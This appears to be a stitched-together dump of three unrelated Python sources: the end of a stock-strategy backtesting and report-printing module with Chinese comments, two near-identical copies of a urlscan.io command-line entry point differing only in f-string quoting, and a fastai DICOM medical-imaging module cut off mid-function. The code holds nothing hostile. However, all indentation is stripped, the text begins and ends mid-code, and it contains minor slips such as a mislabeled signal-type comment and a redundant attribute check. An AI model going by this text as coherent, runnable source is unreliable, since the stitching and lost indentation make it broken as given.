f'from: {valid_opti_eval_res[0]["loop_start"].date()} to '
f'{valid_opti_eval_res[0]["loop_end"].date()} '
f'time consumed:'
f' signal creation: {time_str_format(valid_opti_eval_res[0]["op_run_time"])};'
f' back test:{time_str_format(valid_opti_eval_res[0]["loop_run_time"])}\n'
f'test periods: {valid_test_eval_res[0]["years"]:.1f} years, '
f'from: {valid_test_eval_res[0]["loop_start"].date()} to '
f'{valid_test_eval_res[0]["loop_end"].date()} '
f'time consumed:'
f' signal creation: {time_str_format(valid_test_eval_res[0]["op_run_time"])};'
f' back test:{time_str_format(valid_test_eval_res[0]["loop_run_time"])}')
# 确定参考数据在起始日的数据，以便计算参考数据在整个历史区间内的原因
ref_start_value = complete_reference.iloc[0]
reference = (complete_reference - ref_start_value) / ref_start_value * 100
compariable_plots = []
# 根据数据对比表的数量不同，生成不同数量的并安排对比表的位置和排列方式
if compariable_indicator_count == 0:
# 没有子图表时，历史曲线图占据整个图幅
ax1.set_position([0.05, 0.05, CHART_WIDTH, 0.8])
else:
# 有子图表时，历史曲线图占据大约一半的图幅，其余对比图放置在历史曲线图的下方
ax1.set_position([0.05, 0.51, CHART_WIDTH, 0.39])
if compariable_indicator_count == 1:
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 2 - 0.1, 0.40]))
elif compariable_indicator_count == 2:
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 2 - 0.1, 0.40]))
compariable_plots.append(fig.add_axes([0.550, 0.05, CHART_WIDTH / 2 - 0.1, 0.40]))
elif compariable_indicator_count == 3:
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 3 - 0.06, 0.40]))
compariable_plots.append(fig.add_axes([0.365, 0.05, CHART_WIDTH / 3 - 0.06, 0.40]))
compariable_plots.append(fig.add_axes([0.680, 0.05, CHART_WIDTH / 3 - 0.06, 0.40]))
elif compariable_indicator_count == 4: # 4 plots in one row
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 4 - 0.05, 0.40]))
compariable_plots.append(fig.add_axes([0.285, 0.05, CHART_WIDTH / 4 - 0.05, 0.40]))
compariable_plots.append(fig.add_axes([0.521, 0.05, CHART_WIDTH / 4 - 0.05, 0.40]))
compariable_plots.append(fig.add_axes([0.757, 0.05, CHART_WIDTH / 4 - 0.05, 0.40]))
elif compariable_indicator_count == 5: # two rows, 3 and 2 plots each row respectively
compariable_plots.append(fig.add_axes([0.050, 0.28, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.365, 0.28, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.680, 0.28, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.365, 0.05, CHART_WIDTH / 3 - 0.06, 0.18]))
elif compariable_indicator_count == 6:
compariable_plots.append(fig.add_axes([0.050, 0.28, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.368, 0.28, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.686, 0.28, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.368, 0.05, CHART_WIDTH / 3 - 0.06, 0.18]))
compariable_plots.append(fig.add_axes([0.686, 0.05, CHART_WIDTH / 3 - 0.06, 0.18]))
elif compariable_indicator_count == 7:
compariable_plots.append(fig.add_axes([0.050, 0.28, CHART_WIDTH / 4 - 0.05, 0.18]))
compariable_plots.append(fig.add_axes([0.285, 0.28, CHART_WIDTH / 4 - 0.05, 0.18]))
compariable_plots.append(fig.add_axes([0.521, 0.28, CHART_WIDTH / 4 - 0.05, 0.18]))
compariable_plots.append(fig.add_axes([0.757, 0.28, CHART_WIDTH / 4 - 0.05, 0.18]))
compariable_plots.append(fig.add_axes([0.050, 0.05, CHART_WIDTH / 4 - 0.05, 0.18]))
compariable_plots.append(fig.add_axes([0.285, 0.05, CHART_WIDTH / 4 - 0.05, 0.18]))
compariable_plots.append(fig.add_axes([0.521, 0.05, CHART_WIDTH / 4 - 0.05, 0.18]))
# 绘制历史回测曲线图，包括参考数据、优化数据以及回测数据
ax1.plot(complete_reference.index, reference, linestyle='-',
color=(0.4, 0.6, 0.8), alpha=0.85, label='reference')
# 填充参考收益率的正负区间，绿色填充正收益率，红色填充负收益率
ax1.fill_between(complete_reference.index, 0, reference,
where=reference >= 0,
facecolor=(0.4, 0.6, 0.2), alpha=0.35)
ax1.fill_between(complete_reference.index, 0, reference,
where=reference < 0,
facecolor=(0.8, 0.2, 0.0), alpha=0.35)
# 逐个绘制所有的opti区间和test区间收益率曲线
for cres in opti_complete_value_results:
if not cres.empty:
start_value = cres.value.iloc[0]
values = (cres.value - start_value) / start_value * 100
ax1.plot(first_opti_looped_values.index, values, linestyle='-',
color=(0.8, 0.2, 0.0), alpha=0.85, label='return')
for cres in test_complete_value_results:
if not cres.empty:
start_value = cres.value.iloc[0]
values = (cres.value - start_value) / start_value * 100
ax1.plot(first_test_looped_values.index, values, linestyle='-',
color=(0.2, 0.6, 0.2), alpha=0.85, label='return')
# 设置历史曲线图表的绘制格式
ax1.set_ylabel('Total return rate')
ax1.grid(True)
ax1.yaxis.set_major_formatter(mtick.PercentFormatter())
ax1.yaxis.tick_right()
ax1.spines['top'].set_visible(False)
ax1.spines['right'].set_visible(False)
ax1.spines['bottom'].set_visible(False)
ax1.spines['left'].set_visible(False)
# 生成两个DataFrame，分别包含需要显示的对比数据，便于计算它们的统计值并绘制图表
opti_indicator_df = pd.DataFrame([{key: result[key]
for key in compariable_indicators}
for result in valid_opti_eval_res],
index=[result['par'] for result in valid_opti_eval_res])
test_indicator_df = pd.DataFrame([{key: result[key]
for key in compariable_indicators}
for result in valid_test_eval_res],
index=[result['par'] for result in valid_test_eval_res])
# 开始使用循环的方式逐个生成对比图表
if compariable_indicator_count > 0:
for ax, name in zip(compariable_plots, compariable_indicators):
# 设置每一个对比图表的基本显示格式
ax.spines['top'].set_visible(False)
ax.spines['right'].set_visible(False)
ax.spines['bottom'].set_visible(False)
ax.spines['left'].set_visible(False)
ax.set_ylabel(f'{name}')
ax.yaxis.tick_right()
# 根据config中设置的参数，选择生成三种不同类型的图表之一
p_type = config.indicator_plot_type
# 在图表中应该舍去np.inf值，暂时将inf作为na值处理，因此可以使用dropna()去除inf值
with pd.option_context('mode.use_inf_as_na', True):
opti_label = f'opti:{opti_indicator_df[name].mean():.2f}±{opti_indicator_df[name].std():.2f}'
test_label = f'test:{test_indicator_df[name].mean():.2f}±{test_indicator_df[name].std():.2f}'
if p_type == 0 or p_type == 'errorbar':
max_v = opti_indicator_df[name].max()
min_v = opti_indicator_df[name].min()
mean = opti_indicator_df[name].mean()
std = opti_indicator_df[name].std()
ax.errorbar(1, mean, std, fmt='ok', lw=3)
ax.errorbar(1, mean, np.array(mean - min_v, max_v - mean).T, fmt='.k', ecolor='red', lw=1,
label=opti_label)
max_v = test_indicator_df[name].max()
min_v = test_indicator_df[name].min()
mean = test_indicator_df[name].mean()
std = test_indicator_df[name].std()
ax.errorbar(2, mean, std, fmt='ok', lw=3)
ax.errorbar(2, mean, np.array(mean - min_v, max_v - mean).T, fmt='.k', ecolor='green', lw=1,
label=test_label)
ax.set_xlim(0, 3)
labels = ['opti', 'test']
ax.set_xticks(np.arange(1, len(labels) + 1))
ax.set_xticklabels(labels)
ax.set_xlim(0.25, len(labels) + 0.75)
ax.legend()
elif p_type == 1 or p_type == 'scatter':
ax.scatter(opti_indicator_df[name].fillna(np.nan),
test_indicator_df[name].fillna(np.nan),
label=name, marker='^', alpha=0.9)
ax.set_title(opti_label)
ax.set_ylabel(test_label)
ax.legend()
elif p_type == 2 or p_type == 'histo':
ax.hist(opti_indicator_df[name].fillna(np.nan), bins=15, alpha=0.5,
label=opti_label)
ax.hist(test_indicator_df[name].fillna(np.nan), bins=15, alpha=0.5,
label=test_label)
ax.legend()
elif p_type == 3 or p_type == 'violin':
data_df = pd.DataFrame(np.array([opti_indicator_df[name].fillna(np.nan),
test_indicator_df[name].fillna(np.nan)]).T,
columns=[opti_label, test_label])
ax.violinplot(data_df)
labels = ['opti', 'test']
ax.set_xticks(np.arange(1, len(labels) + 1))
ax.set_xticklabels(labels)
ax.set_xlim(0.25, len(labels) + 0.75)
ax.legend()
else:
data_df = pd.DataFrame(np.array([opti_indicator_df[name].fillna(np.nan),
test_indicator_df[name].fillna(np.nan)]).T,
columns=[opti_label, test_label])
ax.boxplot(data_df)
labels = ['opti', 'test']
ax.set_xticks(np.arange(1, len(labels) + 1))
ax.set_xticklabels(labels)
ax.set_xlim(0.25, len(labels) + 0.75)
ax.legend()
plt.show()
def _print_operation_signal(op_list, run_time_prepare_data=0, operator=None, history_data=None):
"""打印实时信号生成模式的运行结果
"""
op_dates = op_list.hdates
h_dates = history_data.hdates
signal_type = operator.signal_type
print(f'\n'
f' ====================================\n'
f' | |\n'
f' | OPERATION SIGNALS |\n'
f' | |\n'
f' ====================================\n')
print(f'Operation list is created based on following strategy:\n{operator.strategies}\n'
f'{operator.info()}')
print(f'Operation list is created on history data: \n'
f'starts: {h_dates[0]}\n'
f'end: {h_dates[-1]}')
print(f'time consumption for operate signal creation: {time_str_format(run_time_prepare_data)}\n')
print(f'Operation signals are generated on {op_dates[0]}\nends on {op_dates[-1]}\n'
f'Total signals generated: {len(op_dates)}.')
print(f'Operation signal for shares on {op_dates[-1].date()}\n')
print(f'---------Current Operation Instructions------------\n'
f' signal type: {operator.signal_type}\n'
f'signals: \n{op_list}\n'
f'Today\'s operation signal as following:\n')
for share in op_list.shares:
print(f'------share {share}-----------:')
signal = op_list[:, share, op_list.hdates[-1]]
for price_type in range(op_list.htype_count):
# 根据信号类型解析信号含义
current_signal = signal[price_type].squeeze()[-1]
if signal_type == 'pt': # 当信号类型为"PT"时，信号代表目标持仓仓位
print(f'Hold {current_signal * 100}% of total investment value!')
if signal_type == 'ps': # 当信号类型为"PS"时，信号代表资产买入卖出比例
if signal[price_type] > 0:
print(f'Buy in with {current_signal * 100}% of total investment value!')
elif signal[price_type] < 0:
print(f'Sell out {-signal * 100}% of current on holding stock!')
if signal_type == 'vs': # 当信号类型为"PT"时，信号代表资产买入卖出数量
if signal[price_type] > 0:
print(f'Buy in with {current_signal} shares of total investment value!')
elif signal[price_type] < 0:
print(f'Sell out {-signal} shares of current on holding stock!')
print(f'\n ===========END OF REPORT=============\n')
def _print_loop_result(loop_results=None, columns=None, headers=None, formatter=None):
""" 格式化打印输出单次回测的结果，根据columns、headers、formatter等参数选择性输出result中的结果
确保输出的格式美观一致
:param loop_results:
:param columns:
:param headers:
:param formatter:
:return:
"""
if loop_results is None:
return
looped_values = loop_results['complete_values']
print(f'\n'
f' ====================================\n'
f' | |\n'
f' | BACK TESTING RESULT |\n'
f' | |\n'
f' ====================================')
print(f'\nqteasy running mode: 1 - History back testing\n'
f'time consumption for operate signal creation: {time_str_format(loop_results["op_run_time"])}\n'
f'time consumption for operation back looping: {time_str_format(loop_results["loop_run_time"])}\n')
print(f'investment starts on {looped_values.index[0]}\n'
f'ends on {looped_values.index[-1]}\n'
f'Total looped periods: {loop_results["years"]:.1f} years.')
print(f'\n-------------operation summary:------------'
f'\n')
op_summary = loop_results['oper_count']
print(op_summary.to_string(columns=["sell",
"buy",
"total",
"long",
"short",
"empty"],
header=["Sell Cnt",
"Buy Cnt",
"Total",
"Long pct",
"Short pct",
"Empty pct"],
formatters={'sell': '{:.0f}'.format,
'buy': '{:.0f}'.format,
'total': '{:.0f}'.format,
'long': '{:.1%}'.format,
'short': '{:.1%}'.format,
'empty': '{:.1%}'.format},
justify='center'), '\n')
print(f'Total operation fee: ¥{loop_results["total_fee"]:12,.2f}')
print(f'total investment amount: ¥{loop_results["total_invest"]:12,.2f}\n'
f'final value: ¥{loop_results["final_value"]:12,.2f}')
print(f'Total return: {loop_results["rtn"]:13.2%} \n'
f'Avg Yearly return: {loop_results["annual_rtn"]:13.2%}\n'
f'Skewness: {loop_results["skew"]:13.2f}\n'
f'Kurtosis: {loop_results["kurtosis"]:13.2f}')
print(f'Benchmark return: {loop_results["ref_rtn"]:13.2%} \n'
f'Benchmark Yearly return: {loop_results["ref_annual_rtn"]:13.2%}')
print(f'\n------strategy loop_results indicators------ \n'
f'alpha: {loop_results["alpha"]:13.3f}\n'
f'Beta: {loop_results["beta"]:13.3f}\n'
f'Sharp ratio: {loop_results["sharp"]:13.3f}\n'
f'Info ratio: {loop_results["info"]:13.3f}\n'
f'250 day volatility: {loop_results["volatility"]:13.3f}\n'
f'Max drawdown: {loop_results["mdd"]:13.2%} \n'
f' peak / valley: {loop_results["peak_date"].date()} / {loop_results["valley_date"].date()}')
if not pd.isna(loop_results['recover_date']):
print(f' recovered on: {loop_results["recover_date"].date()}\n')
else:
print(f' recovered on: Not recovered!\n')
print(f'\n===========END OF REPORT=============\n')
# TODO: like _plot_test_result, take the evaluate results on both opti and test hist data
# TODO: and commit comparison base on these two data sets
def _print_test_result(result, config=None, columns=None, headers=None, formatter=None):
""" 以表格形式格式化输出批量数据结果，输出结果的格式和内容由columns，headers，formatter等参数控制，
输入的数据包括多组同样结构的数据，输出时可以选择以统计结果的形式输出或者以表格形式输出，也可以同时
以统计结果和表格的形式输出
:param result:
:param columns:
:param headers:
:param formatter:
:return:
"""
result = pd.DataFrame(result)
first_res = result.iloc[0]
ref_rtn, ref_annual_rtn = first_res['ref_rtn'], first_res['ref_annual_rtn']
print(f'\n'
f'==================================== \n'
f'| |\n'
f'| OPTIMIZATION RESULT |\n'
f'| |\n'
f'====================================')
print(f'\nqteasy running mode: 2 - Strategy Parameter Optimization\n')
print(f'investment starts on {first_res["loop_start"]}\nends on {first_res["loop_end"]}\n'
f'Total looped periods: {result.years[0]:.1f} years.')
print(f'total investment amount: ¥{result.total_invest[0]:13,.2f}')
print(f'Reference index type is {config.reference_asset} at {config.ref_asset_type}\n'
f'Total reference return: {ref_rtn :.2%} \n'
f'Average Yearly reference return rate: {ref_annual_rtn:.2%}')
print(f'statistical analysis of optimal strategy messages indicators: \n'
f'total return: {result.rtn.mean():.2%} ±'
f' {result.rtn.std():.2%}\n'
f'annual return: {result.annual_rtn.mean():.2%} ±'
f' {result.annual_rtn.std():.2%}\n'
f'alpha: {result.alpha.mean():.3f} ± {result.alpha.std():.3f}\n'
f'Beta: {result.beta.mean():.3f} ± {result.beta.std():.3f}\n'
f'Sharp ratio: {result.sharp.mean():.3f} ± {result.sharp.std():.3f}\n'
f'Info ratio: {result["info"].mean():.3f} ± {result["info"].std():.3f}\n'
f'250 day volatility: {result.volatility.mean():.3f} ± {result.volatility.std():.3f}\n'
f'other messages indicators are listed in below table\n')
# result.sort_values(by='final_value', ascending=False, inplace=True)
print(result.to_string(columns=["par",
"sell_count",
"buy_count",
"total_fee",
"final_value",
"rtn",
"ref_rtn",
"mdd"],
header=["Strategy items",
"Sell-outs",
"Buy-ins",
"Total fee",
"Final value",
"ROI",
"Reference return",
"MDD"],
formatters={'total_fee': '{:,.2f}'.format,
'final_value': '{:,.2f}'.format,
'rtn': '{:.1%}'.format,
'mdd': '{:.1%}'.format,
'ref_rtn': '{:.1%}'.format,
'sell_count': '{:.1f}'.format,
'buy_count': '{:.1f}'.format},
justify='center'))
print(f'\n===========END OF REPORT=============\n') |
import asyncio
import os
import platform
from pathlib import Path
from . import urlscan, utils
def main():
parser = utils.create_arg_parser()
args = parser.parse_args()
utils.validate_arguments(args)
api_key = os.environ["URLSCAN_API_KEY"]
data_dir = Path(os.getenv("URLSCAN_DATA_DIR", "."))
log_level = utils.convert_int_to_logging_level(args.verbose)
utils.create_data_dir(data_dir)
# See https://github.com/iojw/socialscan/issues/13
if platform.system() == "Windows":
asyncio.set_event_loop_policy(policy=asyncio.WindowsSelectorEventLoopPolicy())
asyncio.run(execute(args, api_key, data_dir, log_level))
async def execute(args, api_key, data_dir, log_level):
async with urlscan.UrlScan(api_key=api_key, data_dir=data_dir, log_level=log_level) as url_scan:
if args.investigate:
investigation_result = await url_scan.investigate(args.investigate, args.private)
if investigation_result == {}:
print("\nInvestigation failed. Please try again later.")
else:
if investigation_result.keys() >= {"report", "screenshot", "dom"}:
print(f"\nScan report URL:\t\t{investigation_result["report"]}")
print(f"Screenshot download location:\t{investigation_result["screenshot"]}")
print(f"DOM download location:\t\t{investigation_result["dom"]}\n")
elif args.retrieve:
retrieve_result = await url_scan.fetch_result(args.retrieve)
print(f"\nScan report URL:\t\t{retrieve_result["report"]}")
print(f"Screenshot download location:\t{retrieve_result["screenshot"]}")
print(f"DOM download location:\t\t{retrieve_result["dom"]}\n")
elif args.submit:
scan_uuid = await url_scan.submit_scan_request(args.submit, args.private)
if scan_uuid == "":
print(f"\nFailed to submit scan request for {args.submit}. Please try again later.\n")
else:
print(f"\nScan UUID:\t\t{scan_uuid}\n")
elif args.batch_investigate:
await url_scan.batch_investigate(args.batch_investigate, args.private)
print(f"Investigation outputs written to {Path(args.batch_investigate).stem}.csv")
| import asyncio
import os
import platform
from pathlib import Path
from . import urlscan, utils
def main():
parser = utils.create_arg_parser()
args = parser.parse_args()
utils.validate_arguments(args)
api_key = os.environ["URLSCAN_API_KEY"]
data_dir = Path(os.getenv("URLSCAN_DATA_DIR", "."))
log_level = utils.convert_int_to_logging_level(args.verbose)
utils.create_data_dir(data_dir)
# See https://github.com/iojw/socialscan/issues/13
if platform.system() == "Windows":
asyncio.set_event_loop_policy(policy=asyncio.WindowsSelectorEventLoopPolicy())
asyncio.run(execute(args, api_key, data_dir, log_level))
async def execute(args, api_key, data_dir, log_level):
async with urlscan.UrlScan(api_key=api_key, data_dir=data_dir, log_level=log_level) as url_scan:
if args.investigate:
investigation_result = await url_scan.investigate(args.investigate, args.private)
if investigation_result == {}:
print("\nInvestigation failed. Please try again later.")
else:
if investigation_result.keys() >= {"report", "screenshot", "dom"}:
print(f"\nScan report URL:\t\t{investigation_result['report']}")
print(f"Screenshot download location:\t{investigation_result['screenshot']}")
print(f"DOM download location:\t\t{investigation_result['dom']}\n")
elif args.retrieve:
retrieve_result = await url_scan.fetch_result(args.retrieve)
print(f"\nScan report URL:\t\t{retrieve_result['report']}")
print(f"Screenshot download location:\t{retrieve_result['screenshot']}")
print(f"DOM download location:\t\t{retrieve_result['dom']}\n")
elif args.submit:
scan_uuid = await url_scan.submit_scan_request(args.submit, args.private)
if scan_uuid == "":
print(f"\nFailed to submit scan request for {args.submit}. Please try again later.\n")
else:
print(f"\nScan UUID:\t\t{scan_uuid}\n")
elif args.batch_investigate:
await url_scan.batch_investigate(args.batch_investigate, args.private)
print(f"Investigation outputs written to {Path(args.batch_investigate).stem}.csv")
|
# AUTOGENERATED! DO NOT EDIT! File to edit: nbs/60_medical.imaging.ipynb (unless otherwise specified).
__all__ = ['DcmDataset', 'DcmTag', 'DcmMultiValue', 'dcmread', 'get_dicom_files', 'DicomSegmentationDataLoaders',
'get_dicom_files', 'TensorDicom', 'PILDicom', 'pixels', 'scaled_px', 'array_freqhist_bins', 'dicom_windows',
'TensorCTScan', 'PILCTScan', 'uniform_blur2d', 'gauss_blur2d', 'mask2bbox', 'crop_resize', 'shape',
'DicomSegmentationDataLoaders']
# Cell
from ..basics import *
from ..vision.all import *
from ..data.transforms import *
import pydicom,kornia,skimage
from pydicom.dataset import Dataset as DcmDataset
from pydicom.tag import BaseTag as DcmTag
from pydicom.multival import MultiValue as DcmMultiValue
from PIL import Image
try:
import cv2
cv2.setNumThreads(0)
except: pass
# Cell
#nbdev_comment _all_ = ['DcmDataset', 'DcmTag', 'DcmMultiValue', 'dcmread', 'get_dicom_files', 'DicomSegmentationDataLoaders']
# Cell
def get_dicom_files(path, recurse=True, folders=None):
"Get dicom files in `path` recursively, only in `folders`, if specified."
return get_files(path, extensions=[".dcm",".dicom"], recurse=recurse, folders=folders)
# Cell
@patch
def dcmread(fn:Path, force = False):
"Open a `DICOM` file"
return pydicom.dcmread(str(fn), force)
# Cell
class TensorDicom(TensorImage):
"Inherits from `TensorImage` and converts the `pixel_array` into a `TensorDicom`"
_show_args = {'cmap':'gray'}
# Cell
class PILDicom(PILBase):
_open_args,_tensor_cls,_show_args = {},TensorDicom,TensorDicom._show_args
@classmethod
def create(cls, fn:(Path,str,bytes), mode=None)->None:
"Open a `DICOM file` from path `fn` or bytes `fn` and load it as a `PIL Image`"
if isinstance(fn,bytes): im = Image.fromarray(pydicom.dcmread(pydicom.filebase.DicomBytesIO(fn)).pixel_array)
if isinstance(fn,(Path,str)): im = Image.fromarray(pydicom.dcmread(fn).pixel_array)
im.load()
im = im._new(im.im)
return cls(im.convert(mode) if mode else im)
PILDicom._tensor_cls = TensorDicom
# Cell
@patch
def png16read(self:Path): return array(Image.open(self), dtype=np.uint16)
# Cell
@patch(as_prop=True)
def pixels(self:DcmDataset):
"`pixel_array` as a tensor"
return tensor(self.pixel_array.astype(np.float32))
# Cell
@patch(as_prop=True)
def scaled_px(self:DcmDataset):
"`pixels` scaled by `RescaleSlope` and `RescaleIntercept`"
img = self.pixels
if hasattr(self, 'RescaleSlope') and hasattr(self, 'RescaleIntercept') is not None:
return img * self.RescaleSlope + self.RescaleIntercept
else: return img
# Cell
def array_freqhist_bins(self, n_bins=100):
"A numpy based function to split the range of pixel values into groups, such that each group has around the same number of pixels"
imsd = np.sort(self.flatten())
t = np.array([0.001])
t = np.append(t, np.arange(n_bins)/n_bins+(1/2/n_bins))
t = np.append(t, 0.999)
t = (len(imsd)*t+0.5).astype(np.int)
return np.unique(imsd[t])
# Cell
@patch
def freqhist_bins(self:Tensor, n_bins=100):
"A function to split the range of pixel values into groups, such that each group has around the same number of pixels"
imsd = self.view(-1).sort()[0]
t = torch.cat([tensor([0.001]),
torch.arange(n_bins).float()/n_bins+(1/2/n_bins),
tensor([0.999])])
t = (len(imsd)*t).long()
return imsd[t].unique()
# Cell
@patch
def hist_scaled_pt(self:Tensor, brks=None):
# Pytorch-only version - switch to this if/when interp_1d can be optimized
if brks is None: brks = self.freqhist_bins()
brks = brks.to(self.device)
ys = torch.linspace(0., 1., len(brks)).to(self.device)
return self.flatten().interp_1d(brks, ys).reshape(self.shape).clamp(0.,1.)
# Cell
@patch
def hist_scaled(self:Tensor, brks=None):
"Scales a tensor using `freqhist_bins` to values between 0 and 1"
if self.device.type=='cuda': return self.hist_scaled_pt(brks)
if brks is None: brks = self.freqhist_bins()
ys = np.linspace(0., 1., len(brks))
x = self.numpy().flatten()
x = np.interp(x, brks.numpy(), ys)
return tensor(x).reshape(self.shape).clamp(0.,1.)
# Cell
@patch
def hist_scaled(self:DcmDataset, brks=None, min_px=None, max_px=None):
"Pixels scaled to a `min_px` and `max_px` value"
px = self.scaled_px
if min_px is not None: px[px<min_px] = min_px
if max_px is not None: px[px>max_px] = max_px
return px.hist_scaled(brks=brks)
# Cell
@patch
def windowed(self:Tensor, w, l):
"Scale pixel intensity by window width and window level"
px = self.clone()
px_min = l - w//2
px_max = l + w//2
px[px<px_min] = px_min
px[px>px_max] = px_max
return (px-px_min) / (px_max-px_min)
# Cell
@patch
def windowed(self:DcmDataset, w, l):
return self.scaled_px.windowed(w,l)
# Cell
# From https://radiopaedia.org/articles/windowing-ct
dicom_windows = types.SimpleNamespace(
brain=(80,40),
subdural=(254,100),
stroke=(8,32),
brain_bone=(2800,600),
brain_soft=(375,40),
lungs=(1500,-600),
mediastinum=(350,50),
abdomen_soft=(400,50),
liver=(150,30),
spine_soft=(250,50),
spine_bone=(1800,400)
)
# Cell
class TensorCTScan(TensorImageBW):
"Inherits from `TensorImageBW` and converts the `pixel_array` into a `TensorCTScan`"
_show_args = {'cmap':'bone'}
# Cell
class PILCTScan(PILBase): _open_args,_tensor_cls,_show_args = {},TensorCTScan,TensorCTScan._show_args
# Cell
@patch
@delegates(show_image)
def show(self:DcmDataset, scale=True, cmap=plt.cm.bone, min_px=-1100, max_px=None, **kwargs):
"Display a normalized dicom image by default"
px = (self.windowed(*scale) if isinstance(scale,tuple)
else self.hist_scaled(min_px=min_px,max_px=max_px,brks=scale) if isinstance(scale,(ndarray,Tensor))
else self.hist_scaled(min_px=min_px,max_px=max_px) if scale
else self.scaled_px)
show_image(px, cmap=cmap, **kwargs)
# Cell
@patch
def show(self:DcmDataset, frames=1, scale=True, cmap=plt.cm.bone, min_px=-1100, max_px=None, **kwargs):
"Adds functionality to view dicom images where each file may have more than 1 frame"
px = (self.windowed(*scale) if isinstance(scale,tuple)
else self.hist_scaled(min_px=min_px,max_px=max_px,brks=scale) if isinstance(scale,(ndarray,Tensor))
else self.hist_scaled(min_px=min_px,max_px=max_px) if scale
else self.scaled_px)
if px.ndim > 2:
gh=[]
p = px.shape; print(f'{p[0]} frames per file')
for i in range(frames): u = px[i]; gh.append(u)
show_images(gh, **kwargs)
else: show_image(px, cmap=cmap, **kwargs)
# Cell
@patch
def pct_in_window(dcm:DcmDataset, w, l):
"% of pixels in the window `(w,l)`"
px = dcm.scaled_px
return ((px > l-w//2) & (px < l+w//2)).float().mean().item()
# Cell
def uniform_blur2d(x,s):
"Uniformly apply blurring"
w = x.new_ones(1,1,1,s)/s
# Factor 2d conv into 2 1d convs
x = unsqueeze(x, dim=0, n=4-x.dim())
r = (F.conv2d(x, w, padding=s//2))
r = (F.conv2d(r, w.transpose(-1,-2), padding=s//2)).cpu()[:,0]
return r.squeeze()
# Cell
def gauss_blur2d(x,s):
"Apply gaussian_blur2d kornia filter"
s2 = int(s/4)*2+1
x2 = unsqueeze(x, dim=0, n=4-x.dim())
res = kornia.filters.gaussian_blur2d(x2, (s2,s2), (s,s), 'replicate')
return res.squeeze()
# Cell
@patch
def mask_from_blur(x:Tensor, window, sigma=0.3, thresh=0.05, remove_max=True):
"Create a mask from the blurred image"
p = x.windowed(*window)
if remove_max: p[p==1] = 0
return gauss_blur2d(p, s=sigma*x.shape[-1])>thresh
# Cell
@patch
def mask_from_blur(x:DcmDataset, window, sigma=0.3, thresh=0.05, remove_max=True):
"Create a mask from the blurred image"
return to_device(x.scaled_px).mask_from_blur(window, sigma, thresh, remove_max=remove_max)
# Cell
def _px_bounds(x, dim):
c = x.sum(dim).nonzero().cpu()
idxs,vals = torch.unique(c[:,0],return_counts=True)
vs = torch.split_with_sizes(c[:,1],tuple(vals))
d = {k.item():v for k,v in zip(idxs,vs)}
default_u = tensor([0,x.shape[-1]-1])
b = [d.get(o,default_u) for o in range(x.shape[0])]
b = [tensor([o.min(),o.max()]) for o in b]
return torch.stack(b)
# Cell
def mask2bbox(mask):
no_batch = mask.dim()==2
if no_batch: mask = mask[None]
bb1 = _px_bounds(mask,-1).t()
bb2 = _px_bounds(mask,-2).t()
res = torch.stack([bb1,bb2],dim=1).to(mask.device)
return res[...,0] if no_batch else res
# Cell
def _bbs2sizes(crops, init_sz, use_square=True):
bb = crops.flip(1)
szs = (bb[1]-bb[0])
if use_square: szs = szs.max(0)[0][None].repeat((2,1))
overs = (szs+bb[0])>init_sz
bb[0][overs] = init_sz-szs[overs]
lows = (bb[0]/float(init_sz))
return lows,szs/float(init_sz)
# Cell
def crop_resize(x, crops, new_sz):
# NB assumes square inputs. Not tested for non-square anythings!
bs = x.shape[0]
lows,szs = _bbs2sizes(crops, x.shape[-1])
if not isinstance(new_sz,(list,tuple)): new_sz = (new_sz,new_sz)
id_mat = tensor([[1.,0,0],[0,1,0]])[None].repeat((bs,1,1)).to(x.device)
with warnings.catch_warnings():
warnings.filterwarnings('ignore', category=UserWarning)
sp = F.affine_grid(id_mat, (bs,1,*new_sz))+1.
grid = sp*unsqueeze(szs.t(),1,n=2)+unsqueeze(lows.t()*2.,1,n=2)
return F.grid_sample(x.unsqueeze(1), grid-1)
# Cell
@patch
def to_nchan(x:Tensor, wins, bins=None):
res = [x.windowed(*win) for win in wins]
if not isinstance(bins,int) or bins!=0: res.append(x.hist_scaled(bins).clamp(0,1))
dim = [0,1][x.dim()==3]
return TensorCTScan(torch.stack(res, dim=dim))
# Cell
@patch
def to_nchan(x:DcmDataset, wins, bins=None):
return x.scaled_px.to_nchan(wins, bins)
# Cell
@patch
def to_3chan(x:Tensor, win1, win2, bins=None):
return x.to_nchan([win1,win2],bins=bins)
# Cell
@patch
def to_3chan(x:DcmDataset, win1, win2, bins=None):
return x.scaled_px.to_3chan(win1, win2, bins)
# Cell
@patch
def save_jpg(x:(Tensor,DcmDataset), path, wins, bins=None, quality=90):
"Save tensor or dicom image into `jpg` format"
fn = Path(path).with_suffix('.jpg')
x = (x.to_nchan(wins, bins)*255).byte()
im = Image.fromarray(x.permute(1,2,0).numpy(), mode=['RGB','CMYK'][x.shape[0]==4])
im.save(fn, quality=quality)
# Cell
@patch
def to_uint16(x:(Tensor,DcmDataset), bins=None):
"Convert into a unit16 array"
d = x.hist_scaled(bins).clamp(0,1) * 2**16
return d.numpy().astype(np.uint16)
# Cell
@patch
def save_tif16(x:(Tensor,DcmDataset), path, bins=None, compress=True):
"Save tensor or dicom image into `tiff` format"
fn = Path(path).with_suffix('.tif')
Image.fromarray(x.to_uint16(bins)).save(str(fn), compression='tiff_deflate' if compress else None)
# Cell
@patch
def set_pixels(self:DcmDataset, px):
self.PixelData = px.tobytes()
self.Rows,self.Columns = px.shape
DcmDataset.pixel_array = property(DcmDataset.pixel_array.fget, set_pixels)
# Cell
@patch
def zoom(self:DcmDataset, ratio):
"Zoom image by specified ratio"
with warnings.catch_warnings():
warnings.simplefilter("ignore", UserWarning)
